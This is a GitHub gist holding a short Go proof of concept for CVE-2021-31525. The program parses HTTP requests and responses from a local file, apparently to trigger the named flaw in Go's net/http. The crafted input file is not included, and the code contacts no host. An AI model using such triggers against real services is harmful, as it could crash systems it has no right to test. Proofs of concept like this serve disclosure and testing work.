Skip to content

Instantly share code, notes, and snippets.

@dwisiswant0
Created May 10, 2021 09:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dwisiswant0/32fbc57ba8b914abe01b1011bfa54cdd to your computer and use it in GitHub Desktop.
Save dwisiswant0/32fbc57ba8b914abe01b1011bfa54cdd to your computer and use it in GitHub Desktop.
CVE-2021-31525 Proof-of-concept
package main
import (
"bufio"
"bytes"
// "fmt"
"io"
"io/ioutil"
"log"
"net/http"
"os"
)
type connection struct {
Request *http.Request
Response *http.Response
}
func readHTTPFromFile(r io.Reader) ([]connection, error) {
buf := bufio.NewReader(r)
stream := make([]connection, 0)
for {
req, err := http.ReadRequest(buf)
if err == io.EOF {
break
}
if err != nil {
return stream, err
}
resp, err := http.ReadResponse(buf, req)
if err != nil {
return stream, err
}
b := new(bytes.Buffer)
io.Copy(b, resp.Body)
resp.Body.Close()
resp.Body = ioutil.NopCloser(b)
stream = append(stream, connection{Request: req, Response: resp})
}
return stream, nil
}
func main() {
f, err := os.Open("/tmp/7MB.http")
if err != nil {
log.Fatal(err)
}
defer f.Close()
_, err = readHTTPFromFile(f)
if err != nil {
log.Fatalln(err)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment